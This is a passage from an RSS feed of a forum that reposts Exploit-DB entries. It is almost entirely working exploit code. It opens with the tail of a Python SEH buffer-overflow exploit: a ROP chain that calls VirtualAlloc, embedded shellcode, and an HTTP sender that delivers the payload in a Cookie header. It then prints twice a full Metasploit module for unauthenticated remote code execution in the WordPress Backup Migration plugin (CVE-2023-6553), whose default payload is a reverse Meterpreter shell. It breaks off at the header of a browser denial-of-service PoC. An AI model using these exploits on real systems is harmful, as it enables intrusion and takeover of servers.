rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
# Virtual Alloc on stack<br />
# Esi now has "SRP" we need to fill it<br />
# EDI still points to orignal one (Virtual alloc)<br />
<br />
<br />
rop += struct.pack("&lt;L", 0x1001f595) # Put SRP addr on eax MOV EAX,ESI # POP ESI # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x41414141) # junk pop esi<br />
rop += struct.pack("&lt;L", 0x10019457) # ADD EAX,20 # RETN<br />
rop += struct.pack("&lt;L", 0x10019457) # ADD EAX,20 # RETN<br />
rop += struct.pack("&lt;L", 0x10019457) # ADD EAX,20 # RETN<br />
rop += struct.pack("&lt;L", 0x10019457) # ADD EAX,20 # RETN<br />
rop += struct.pack("&lt;L", 0x10019457) # ADD EAX,20 # RETN<br />
rop += struct.pack("&lt;L", 0x10019457) # ADD EAX,20 # RETN<br />
rop += struct.pack("&lt;L", 0x10019457) # ADD EAX,20 # RETN<br />
rop += struct.pack("&lt;L", 0x10019457) # ADD EAX,20 # RETN<br />
rop += struct.pack("&lt;L", 0x10019457) # ADD EAX,20 # RETN<br />
rop += struct.pack("&lt;L", 0x10019457) # ADD EAX,20 # RETN<br />
rop += struct.pack("&lt;L", 0x10019457) # ADD EAX,20 # RETN<br />
rop += struct.pack("&lt;L", 0x10019457) # ADD EAX,20 # RETN<br />
rop += struct.pack("&lt;L", 0x10019457) # ADD EAX,20 # RETN<br />
rop += struct.pack("&lt;L", 0x10019457) # eax now points to x more (can be changed)<br />
rop += struct.pack("&lt;L", 0x1001d626) # prepare esi for another round XOR ESI,ESI # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x10021a3e) # put original stack pointer in esi # ADD ESI,EDI # RETN 0x00    ** [ImageLoad.dll] **  |  ascii {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x1001e80b) # This immedeately patches SRP and VirtualAlloc 1st arg! MOV DWORD PTR [ESI+8],EAX # MOV DWORD PTR [ESI+4],EAX # POP ESI # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x41414141) # junk pop esi<br />
<br />
# Virtual alloc | SRP | Shellcode Addr<br />
# edi -&gt; virtualalloc<br />
<br />
rop += struct.pack("&lt;L", 0x1001d626) # prepare esi for another round XOR ESI,ESI # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x10021a3e) # put original stack pointer in esi # ADD ESI,EDI # RETN 0x00    ** [ImageLoad.dll] **  |  ascii {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x1001715d) # increase esi to point 12 bytes more (-&gt;dwsize) # INC ESI # ADD AL,3A # RETN    ** [ImageLoad.dll] **  |  ascii {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001c15d) # XOR EAX,EAX # RETN) #<br />
rop += struct.pack("&lt;L", 0x10015442) # :  # POP EAX # RETN<br />
rop += struct.pack("&lt;L", 0xffffffff) # -1<br />
rop += struct.pack("&lt;L", 0x100231d1) # will turn eax into 1, second arg of virtualalloc NEG EAX # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}) #<br />
rop += struct.pack("&lt;L", 0x1001a8e3) # patch arg  # MOV DWORD PTR [ESI],EAX # OR EAX,0FFFFFFFF # POP ESI # POP EBX # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x41414141) # junk pop esi<br />
rop += struct.pack("&lt;L", 0x41414141) # junk pop ebx<br />
<br />
#VirtualAlloc | SRP | ShellcodeAddr | dwSize<br />
# edi -&gt; virtualalloc<br />
<br />
<br />
rop += struct.pack("&lt;L", 0x1001d626) # prepare esi for another round XOR ESI,ESI # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x10021a3e) # put original stack pointer in esi # ADD ESI,EDI # RETN 0x00    ** [ImageLoad.dll] **  |  ascii {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x1001715d) # increase esi to point 16 bytes more (-&gt;flAllocation Type) # INC ESI # ADD AL,3A # RETN    ** [ImageLoad.dll] **  |  ascii {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x10015442) # :  # POP EAX # RETN<br />
rop += struct.pack("&lt;I", 0xffffefff) #  value to pop eax now<br />
rop += struct.pack("&lt;L", 0x100231d1) # will turn eax into 1002  NEG EAX # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}) #<br />
rop += struct.pack("&lt;I", 0x1001b7ca)# eax now 1000  # DEC EAX # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x1001a8e3) # patch arg  # MOV DWORD PTR [ESI],EAX # OR EAX,0FFFFFFFF # POP ESI # POP EBX # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x41414141) # junk pop esi<br />
rop += struct.pack("&lt;L", 0x41414141) # junk pop ebx<br />
<br />
#VirtualAlloc | SRP | ShellcodeAddr | dwSize | flAllocationType<br />
# edi -&gt; virtualalloc<br />
<br />
rop += struct.pack("&lt;L", 0x1001d626) # prepare esi for another round XOR ESI,ESI # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x10021a3e) # put original stack pointer in esi # ADD ESI,EDI # RETN 0x00    ** [ImageLoad.dll] **  |  ascii {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x1001715d) # increase esi to point 20 bytes more (-&gt;flProtect Type) # INC ESI # ADD AL,3A # RETN    ** [ImageLoad.dll] **  |  ascii {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x1001715d) #<br />
rop += struct.pack("&lt;L", 0x10015442) # :  # POP EAX # RETN<br />
rop += struct.pack("&lt;I", 0xffffffbf) # :  -41<br />
rop += struct.pack("&lt;L", 0x100231d1) # will turn eax into 41  NEG EAX # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}) #<br />
rop += struct.pack("&lt;I", 0x1001b7ca)# eax now 40  # DEC EAX # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x1001a8e3) # patch arg  # MOV DWORD PTR [ESI],EAX # OR EAX,0FFFFFFFF # POP ESI # POP EBX # RETN    ** [ImageLoad.dll] **  |  {PAGE_EXECUTE_READ}<br />
rop += struct.pack("&lt;L", 0x41414141) # junk pop esi<br />
rop += struct.pack("&lt;L", 0x41414141) # junk pop ebx<br />
<br />
#VirtualAlloc | SRP | ShellcodeAddr | dwSize | flAllocationType | flProtect<br />
# edi -&gt; virtualalloc<br />
<br />
<br />
rop += struct.pack("&lt;L", 0x61c0a798) # # XCHG EAX,EDI # RETN<br />
rop += struct.pack("&lt;L", 0x61c07ff8) # XCHG EAX,ESP # RETN<br />
<br />
# Just switch execution now, move the stack pointer to EDI (VirtualAlloc)<br />
<br />
<br />
sc =  b""<br />
sc += b"\x81\xc4\x24\xfa\xff\xff" # add esp , -1500<br />
sc += b"\xbd\x04\xae\x2a\x98\xdb\xce\xd9\x74\x24\xf4\x5b"<br />
sc += b"\x31\xc9\xb1\x5e\x83\xeb\xfc\x31\x6b\x11\x03\x6b"<br />
sc += b"\x11\xe2\xf1\x52\xc2\x17\xf9\xaa\x13\x48\xc8\x78"<br />
sc += b"\x9a\x6d\x4e\xf6\xcf\x5d\x05\x5a\xfc\x16\x4b\x4f"<br />
sc += b"\x77\x5a\x43\x60\x30\xd1\xb5\x4f\xc1\xd7\x79\x03"<br />
sc += b"\x01\x79\x05\x5e\x56\x59\x34\x91\xab\x98\x71\x67"<br />
sc += b"\xc1\x75\x2f\xf3\x7b\x9a\x44\x41\x40\xcd\x5b\x96"<br />
sc += b"\x33\xb1\x23\x93\x84\x46\x9f\x9a\xd4\xf7\x94\xc5"<br />
sc += b"\xf4\x7c\xe2\xed\xf5\x51\x77\xc4\x82\x69\x3e\xe6"<br />
sc += b"\x95\x19\xf4\x83\x6b\xc8\xc5\x53\xc7\x35\xea\x59"<br />
sc += b"\x19\x71\xcc\x81\x6c\x89\x2f\x3f\x77\x4a\x52\x9b"<br />
sc += b"\xf2\x4d\xf4\x68\xa4\xa9\x05\xbc\x33\x39\x09\x09"<br />
sc += b"\x37\x65\x0d\x8c\x94\x1d\x29\x05\x1b\xf2\xb8\x5d"<br />
sc += b"\x38\xd6\xe1\x06\x21\x4f\x4f\xe8\x5e\x8f\x37\x55"<br />
sc += b"\xfb\xdb\xd5\x80\x7b\x24\x26\xad\x21\xb3\xeb\x60"<br />
sc += b"\xda\x43\x63\xf2\xa9\x71\x2c\xa8\x25\x3a\xa5\x76"<br />
sc += b"\xb1\x4b\xa1\x88\x6d\xf3\xa1\x76\x8e\x04\xe8\xbc"<br />
sc += b"\xda\x54\x82\x15\x63\x3f\x52\x99\xb6\xaa\x58\x0d"<br />
sc += b"\xf9\x83\x64\xc7\x91\xd1\x94\xd6\xda\x5f\x72\x88"<br />
sc += b"\x4c\x30\x2a\x69\x3d\xf0\x9a\x01\x57\xff\xc5\x32"<br />
sc += b"\x58\xd5\x6e\xd8\xb7\x80\xc7\x75\x21\x89\x93\xe4"<br />
sc += b"\xae\x07\xde\x27\x24\xa2\x1f\xe9\xcd\xc7\x33\x1e"<br />
sc += b"\xaa\x27\xcb\xdf\x5f\x28\xa1\xdb\xc9\x7f\x5d\xe6"<br />
sc += b"\x2c\xb7\xc2\x19\x1b\xcb\x04\xe5\xda\xfa\x7f\xd0"<br />
sc += b"\x48\x43\x17\x1d\x9d\x43\xe7\x4b\xf7\x43\x8f\x2b"<br />
sc += b"\xa3\x17\xaa\x33\x7e\x04\x67\xa6\x81\x7d\xd4\x61"<br />
sc += b"\xea\x83\x03\x45\xb5\x7c\x66\xd5\xb2\x83\xf5\xf2"<br />
sc += b"\x1a\xec\x05\x43\x9b\xec\x6f\x43\xcb\x84\x64\x6c"<br />
sc += b"\xe4\x64\x85\xa7\xad\xec\x0c\x26\x1f\x8c\x11\x63"<br />
sc += b"\xc1\x10\x12\x80\xda\xa3\x69\xe9\xdd\x43\x8e\xe3"<br />
sc += b"\xb9\x43\x8f\x0b\xbc\x78\x46\x32\xca\xbf\x5b\x01"<br />
sc += b"\xd5\x5d\x71\x7c\x7e\xf8\x10\x3d\xe3\xfb\xcf\x02"<br />
sc += b"\x1a\x78\xe5\xfa\xd9\x60\x8c\xff\xa6\x26\x7d\x72"<br />
sc += b"\xb6\xc2\x81\x21\xb7\xc6"<br />
<br />
<br />
padding = b"\x45" * 4 # 4 bytes of padding because of the alignment, the add eax,20 instructions will make it so stack points 4 bytes after<br />
rop += padding<br />
rop += sc<br />
rop += b"\x42" * (1244 - len(rop))<br />
<br />
<br />
nseh = struct.pack("&lt;I", 0x43434343)<br />
seh = struct.pack("&lt;I", 0x10022877) # add esp, 1004; ret<br />
eax_offset = 4183<br />
<br />
buf = b"A" * 2811 # rop chain start after add esp 1004<br />
buf += rop<br />
buf += b"A" * (4059 - len(buf))  #nseh<br />
buf += nseh + seh<br />
buf += b"A" * (eax_offset - len(buf))<br />
buf += struct.pack("&lt;I", 0xffffffff) #" #make sure eax always trigger exception<br />
buf += b"A" * (size - len(buf))<br />
<br />
<br />
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br />
s.connect((host ,port))<br />
<br />
httpreq = (<br />
b"GET /changeuser.ghp HTTP/1.1\r\n"<br />
b"User-Agent: Mozilla/4.0\r\n"<br />
b"Host:" + host.encode() + b":" + str(port).encode() + b"\r\n"<br />
b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"<br />
b"Accept-Language: en-us\r\n"<br />
b"Accept-Encoding: gzip, deflate\r\n"<br />
b"Referer: http://" + host.encode() + b"/\r\n"<br />
b"Cookie: SESSIONID=6771; UserID=" + buf + b"; PassWD=;\r\n"<br />
b"Conection: Keep-Alive\r\n\r\n"<br />
)<br />
<br />
# Send payload to the server<br />
try:<br />
    if len(sys.argv) &lt; 2:<br />
        print("[!] Usage: python3 exploit.py &lt;IP of Server&gt;")<br />
        sys.exit(1)<br />
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br />
    s.connect((host, port))<br />
    s.send(httpreq)<br />
    s.close()<br />
    print("[+] Packet sent!")<br />
except:<br />
    print("[!] Could not connect to server / Exploit failed")<br />
    sys.exit(1)<br />
<br />
sys.exit(0)]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[WordPress Backup Migration 1.3.7 - Remote Command Execution]]></title>
			<link>https://stucxteam.my/Thread-wordpress-backup-migration-1-3-7-remote-command-execution</link>
			<pubDate>Sat, 14 Mar 2026 14:16:16 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://stucxteam.my/member.php?action=profile&uid=62">Ray Breslin</a>]]></dc:creator>
			<guid isPermaLink="false">https://stucxteam.my/Thread-wordpress-backup-migration-1-3-7-remote-command-execution</guid>
			<description><![CDATA[# Exploit Title: WordPress Backup Migration 1.3.7 - Remote Command Execution<br />
# Date: 2025-10-26<br />
# Exploit Author: DANG<br />
# Vendor Homepage: <a href="https://backupbliss.com/" target="_blank" rel="noopener" class="mycode_url">https://backupbliss.com/</a><br />
# Software Link: <a href="https://wordpress.org/plugins/backup-backup/" target="_blank" rel="noopener" class="mycode_url">https://wordpress.org/plugins/backup-backup/</a><br />
# Version: Backup Migration ≤1.3.7<br />
# Tested on: LINUX<br />
# CVE : CVE-2023-6553<br />
<br />
##<br />
# This module requires Metasploit: <a href="https://metasploit.com/download" target="_blank" rel="noopener" class="mycode_url">https://metasploit.com/download</a><br />
# Current source: <a href="https://github.com/rapid7/metasploit-framework" target="_blank" rel="noopener" class="mycode_url">https://github.com/rapid7/metasploit-framework</a><br />
##<br />
<br />
class MetasploitModule &lt; Msf::Exploit::Remote<br />
  Rank = ExcellentRanking<br />
<br />
  include Msf::Exploit::Remote::HttpClient<br />
  include Msf::Exploit::Remote::HTTP::Wordpress<br />
  include Msf::Exploit::Remote::HTTP:<img src="https://stucxteam.my/images/smilies/tongue.png" alt="Tongue" title="Tongue" class="smilie smilie_5" />hpFilterChain<br />
  include Msf::Exploit::FileDropper<br />
  prepend Msf::Exploit::Remote::AutoCheck<br />
<br />
  def initialize(info = {})<br />
    super(<br />
      update_info(<br />
        info,<br />
        'Name' =&gt; 'WordPress Backup Migration Plugin PHP Filter Chain RCE',<br />
        'Description' =&gt; %q{<br />
          This module exploits an unauth RCE in the WordPress plugin: Backup Migration (&lt;= 1.3.7).  The vulnerability is<br />
          exploitable through the Content-Dir header which is sent to the /wp-content/plugins/backup-backup/includes/backup-heart.php endpoint.<br />
<br />
          The exploit makes use of a neat technique called PHP Filter Chaining which allows an attacker to prepend<br />
          bytes to a string by continuously chaining character encoding conversions. This allows an attacker to prepend<br />
          a PHP payload to a string which gets evaluated by a require statement, which results in command execution.<br />
        },<br />
        'Author' =&gt; [<br />
          'Nex Team', # Vulnerability discovery<br />
          'Valentin Lobstein', # PoC<br />
          'jheysel-r7' # msfmodule<br />
        ],<br />
        'License' =&gt; MSF_LICENSE,<br />
        'References' =&gt; [<br />
          ['CVE', '2023-6553'],<br />
          ['URL', 'https://github.com/Chocapikk/CVE-2023-6553/blob/main/exploit.py'],<br />
          ['URL', 'https://www.synacktiv.com/en/publications/php-filters-chain-what-is-it-and-how-to-use-it'],<br />
          ['WPVDB', '6a4d0af9-e1cd-4a69-a56c-3c009e207eca']<br />
        ],<br />
        'DefaultOptions' =&gt; {<br />
          'PAYLOAD' =&gt; 'php/meterpreter/reverse_tcp'<br />
        },<br />
        'Platform' =&gt; ['unix', 'linux', 'win', 'php'],<br />
        'Arch' =&gt; [ARCH_PHP],<br />
        'Targets' =&gt; [['Automatic', {}]],<br />
        'DisclosureDate' =&gt; '2023-12-11',<br />
        'DefaultTarget' =&gt; 0,<br />
        'Privileged' =&gt; false,<br />
        'Notes' =&gt; {<br />
          'Stability' =&gt; [CRASH_SAFE],<br />
          'Reliability' =&gt; [REPEATABLE_SESSION],<br />
          'SideEffects' =&gt; [IOC_IN_LOGS, ARTIFACTS_ON_DISK]<br />
        }<br />
      )<br />
    )<br />
<br />
    register_options(<br />
      [<br />
        OptString.new('PAYLOAD_FILENAME', [ true, 'The filename for the payload to be used on the target host (%RAND%.php by default)', Rex::Text.rand_text_alpha(4) + '.php']),<br />
      ]<br />
    )<br />
  end<br />
<br />
  def check<br />
    return CheckCode::Unknown unless wordpress_and_online?<br />
<br />
    wp_version = wordpress_version<br />
    print_status("WordPress Version: #{wp_version}") if wp_version<br />
<br />
    # The plugin's official name seems to be Backup Migration however the package filename is "backup-backup"<br />
    check_code = check_plugin_version_from_readme('backup-backup', '1.3.8')<br />
<br />
    if check_code.code != 'appears'<br />
      return CheckCode::Safe<br />
    end<br />
<br />
    plugin_version = check_code.details[:version]<br />
    print_good("Detected Backup Migration Plugin version: #{plugin_version}")<br />
    CheckCode::Appears<br />
  end<br />
<br />
  def send_payload(payload)<br />
    php_filter_chain_payload = generate_php_filter_payload(payload)<br />
    res = send_request_cgi(<br />
      'uri' =&gt; normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', 'backup-heart.php'),<br />
      'method' =&gt; 'POST',<br />
      'headers' =&gt; {<br />
        'Content-Dir' =&gt; php_filter_chain_payload<br />
      }<br />
    )<br />
    fail_with(Failure::Unreachable, 'Connection failed') if res.nil?<br />
    fail_with(Failure::UnexpectedReply, 'The server did not respond with the expected 200 response code') unless res.code == 200<br />
  end<br />
<br />
  def write_to_payload_file(string_to_write)<br />
    # Because the payload is base64 encoded and then each character is translated into it's corresponding php filter chain,<br />
    # the payload becomes quite large and we start to hit limitations due to the HTTP header size.<br />
    # For example this payload: "&lt;?php fwrite(fopen("G", "a"),"\x73");?&gt;", ends up being 7721 characters long.<br />
    # The payload size limit on the target I was testing seemed to be around 8000 characters.<br />
    # Using the following: &lt;?php file_put_contents("file.php","char",FILE_APPEND);?&gt; (more elegant solution) exceeds the<br />
    # size limit which is why I ended up using &lt;?php fwrite(fopen("&lt;single_char_filename&gt;", "char" ?&gt; and then after<br />
    # copying the single_char_filename to a filename with a .php extension to be executed.<br />
<br />
    single_char_filename = Rex::Text.rand_text_alpha(1)<br />
    string_to_write.each_char do |char|<br />
      send_payload("&lt;?php fwrite(fopen(\"#{single_char_filename}\",\"a\"),\"#{'\\x' + char.unpack('H2')[0]}\");?&gt;")<br />
    end<br />
    register_file_for_cleanup(single_char_filename)<br />
    send_payload("&lt;?php copy(\"#{single_char_filename}\",\"#{datastore['PAYLOAD_FILENAME']}\");?&gt;")<br />
    register_file_for_cleanup(datastore['PAYLOAD_FILENAME'])<br />
  end<br />
<br />
  def trigger_payload_file<br />
    res = send_request_cgi(<br />
      'uri' =&gt; normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', datastore['PAYLOAD_FILENAME']),<br />
      'method' =&gt; 'GET'<br />
    )<br />
    print_warning('The application responded to the request to trigger the payload, this is unexpected. Something may have gone wrong.') if res<br />
  end<br />
<br />
  def exploit<br />
    print_status('Writing the payload to disk, character by character, please wait...')<br />
    # Use double quotes in the payload, not single.<br />
    write_to_payload_file("&lt;?php #{payload.encoded}")<br />
    trigger_payload_file<br />
  end<br />
end<br />
<br />
Source : <a href="https://www.exploit-db.com/exploits/52486" target="_blank" rel="noopener" class="mycode_url">https://www.exploit-db.com/exploits/52486</a>]]></description>
			<content:encoded><![CDATA[# Exploit Title: WordPress Backup Migration 1.3.7 - Remote Command Execution<br />
# Date: 2025-10-26<br />
# Exploit Author: DANG<br />
# Vendor Homepage: <a href="https://backupbliss.com/" target="_blank" rel="noopener" class="mycode_url">https://backupbliss.com/</a><br />
# Software Link: <a href="https://wordpress.org/plugins/backup-backup/" target="_blank" rel="noopener" class="mycode_url">https://wordpress.org/plugins/backup-backup/</a><br />
# Version: Backup Migration ≤1.3.7<br />
# Tested on: LINUX<br />
# CVE : CVE-2023-6553<br />
<br />
##<br />
# This module requires Metasploit: <a href="https://metasploit.com/download" target="_blank" rel="noopener" class="mycode_url">https://metasploit.com/download</a><br />
# Current source: <a href="https://github.com/rapid7/metasploit-framework" target="_blank" rel="noopener" class="mycode_url">https://github.com/rapid7/metasploit-framework</a><br />
##<br />
<br />
class MetasploitModule &lt; Msf::Exploit::Remote<br />
  Rank = ExcellentRanking<br />
<br />
  include Msf::Exploit::Remote::HttpClient<br />
  include Msf::Exploit::Remote::HTTP::Wordpress<br />
  include Msf::Exploit::Remote::HTTP:<img src="https://stucxteam.my/images/smilies/tongue.png" alt="Tongue" title="Tongue" class="smilie smilie_5" />hpFilterChain<br />
  include Msf::Exploit::FileDropper<br />
  prepend Msf::Exploit::Remote::AutoCheck<br />
<br />
  def initialize(info = {})<br />
    super(<br />
      update_info(<br />
        info,<br />
        'Name' =&gt; 'WordPress Backup Migration Plugin PHP Filter Chain RCE',<br />
        'Description' =&gt; %q{<br />
          This module exploits an unauth RCE in the WordPress plugin: Backup Migration (&lt;= 1.3.7).  The vulnerability is<br />
          exploitable through the Content-Dir header which is sent to the /wp-content/plugins/backup-backup/includes/backup-heart.php endpoint.<br />
<br />
          The exploit makes use of a neat technique called PHP Filter Chaining which allows an attacker to prepend<br />
          bytes to a string by continuously chaining character encoding conversions. This allows an attacker to prepend<br />
          a PHP payload to a string which gets evaluated by a require statement, which results in command execution.<br />
        },<br />
        'Author' =&gt; [<br />
          'Nex Team', # Vulnerability discovery<br />
          'Valentin Lobstein', # PoC<br />
          'jheysel-r7' # msfmodule<br />
        ],<br />
        'License' =&gt; MSF_LICENSE,<br />
        'References' =&gt; [<br />
          ['CVE', '2023-6553'],<br />
          ['URL', 'https://github.com/Chocapikk/CVE-2023-6553/blob/main/exploit.py'],<br />
          ['URL', 'https://www.synacktiv.com/en/publications/php-filters-chain-what-is-it-and-how-to-use-it'],<br />
          ['WPVDB', '6a4d0af9-e1cd-4a69-a56c-3c009e207eca']<br />
        ],<br />
        'DefaultOptions' =&gt; {<br />
          'PAYLOAD' =&gt; 'php/meterpreter/reverse_tcp'<br />
        },<br />
        'Platform' =&gt; ['unix', 'linux', 'win', 'php'],<br />
        'Arch' =&gt; [ARCH_PHP],<br />
        'Targets' =&gt; [['Automatic', {}]],<br />
        'DisclosureDate' =&gt; '2023-12-11',<br />
        'DefaultTarget' =&gt; 0,<br />
        'Privileged' =&gt; false,<br />
        'Notes' =&gt; {<br />
          'Stability' =&gt; [CRASH_SAFE],<br />
          'Reliability' =&gt; [REPEATABLE_SESSION],<br />
          'SideEffects' =&gt; [IOC_IN_LOGS, ARTIFACTS_ON_DISK]<br />
        }<br />
      )<br />
    )<br />
<br />
    register_options(<br />
      [<br />
        OptString.new('PAYLOAD_FILENAME', [ true, 'The filename for the payload to be used on the target host (%RAND%.php by default)', Rex::Text.rand_text_alpha(4) + '.php']),<br />
      ]<br />
    )<br />
  end<br />
<br />
  def check<br />
    return CheckCode::Unknown unless wordpress_and_online?<br />
<br />
    wp_version = wordpress_version<br />
    print_status("WordPress Version: #{wp_version}") if wp_version<br />
<br />
    # The plugin's official name seems to be Backup Migration however the package filename is "backup-backup"<br />
    check_code = check_plugin_version_from_readme('backup-backup', '1.3.8')<br />
<br />
    if check_code.code != 'appears'<br />
      return CheckCode::Safe<br />
    end<br />
<br />
    plugin_version = check_code.details[:version]<br />
    print_good("Detected Backup Migration Plugin version: #{plugin_version}")<br />
    CheckCode::Appears<br />
  end<br />
<br />
  def send_payload(payload)<br />
    php_filter_chain_payload = generate_php_filter_payload(payload)<br />
    res = send_request_cgi(<br />
      'uri' =&gt; normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', 'backup-heart.php'),<br />
      'method' =&gt; 'POST',<br />
      'headers' =&gt; {<br />
        'Content-Dir' =&gt; php_filter_chain_payload<br />
      }<br />
    )<br />
    fail_with(Failure::Unreachable, 'Connection failed') if res.nil?<br />
    fail_with(Failure::UnexpectedReply, 'The server did not respond with the expected 200 response code') unless res.code == 200<br />
  end<br />
<br />
  def write_to_payload_file(string_to_write)<br />
    # Because the payload is base64 encoded and then each character is translated into it's corresponding php filter chain,<br />
    # the payload becomes quite large and we start to hit limitations due to the HTTP header size.<br />
    # For example this payload: "&lt;?php fwrite(fopen("G", "a"),"\x73");?&gt;", ends up being 7721 characters long.<br />
    # The payload size limit on the target I was testing seemed to be around 8000 characters.<br />
    # Using the following: &lt;?php file_put_contents("file.php","char",FILE_APPEND);?&gt; (more elegant solution) exceeds the<br />
    # size limit which is why I ended up using &lt;?php fwrite(fopen("&lt;single_char_filename&gt;", "char" ?&gt; and then after<br />
    # copying the single_char_filename to a filename with a .php extension to be executed.<br />
<br />
    single_char_filename = Rex::Text.rand_text_alpha(1)<br />
    string_to_write.each_char do |char|<br />
      send_payload("&lt;?php fwrite(fopen(\"#{single_char_filename}\",\"a\"),\"#{'\\x' + char.unpack('H2')[0]}\");?&gt;")<br />
    end<br />
    register_file_for_cleanup(single_char_filename)<br />
    send_payload("&lt;?php copy(\"#{single_char_filename}\",\"#{datastore['PAYLOAD_FILENAME']}\");?&gt;")<br />
    register_file_for_cleanup(datastore['PAYLOAD_FILENAME'])<br />
  end<br />
<br />
  def trigger_payload_file<br />
    res = send_request_cgi(<br />
      'uri' =&gt; normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', datastore['PAYLOAD_FILENAME']),<br />
      'method' =&gt; 'GET'<br />
    )<br />
    print_warning('The application responded to the request to trigger the payload, this is unexpected. Something may have gone wrong.') if res<br />
  end<br />
<br />
  def exploit<br />
    print_status('Writing the payload to disk, character by character, please wait...')<br />
    # Use double quotes in the payload, not single.<br />
    write_to_payload_file("&lt;?php #{payload.encoded}")<br />
    trigger_payload_file<br />
  end<br />
end<br />
<br />
Source : <a href="https://www.exploit-db.com/exploits/52486" target="_blank" rel="noopener" class="mycode_url">https://www.exploit-db.com/exploits/52486</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Cyberfox Web Browser 52.9.1 - Denial of Service (PoC)]]></title>
			<link>https://stucxteam.my/Thread-cyberfox-web-browser-52-9-1-denial-of-service-poc</link>
			<pubDate>Sat, 14 Mar 2026 14:14:15 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://stucxteam.my/member.php?action=profile&uid=62">Ray Breslin</a>]]></dc:creator>
			<guid isPermaLink="false">https://stucxteam.my/Thread-cyberfox-web-browser-52-9-1-denial-of-service-poc</guid>
			<description><![CDATA[<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code># Exploit Title: Cyberfox Web Browser 52.9.1 - Denial of Service (PoC)<br />
# Date: 2021-09-26 <br />
# Exploit Author: Aryan Chehreghani<br />
# Vendor Homepage: https://cyberfox.8pecxstudios.com<br />
# Software Link: https://www.techspot.com/downloads/6568-cyberfox-web-browser.html<br />
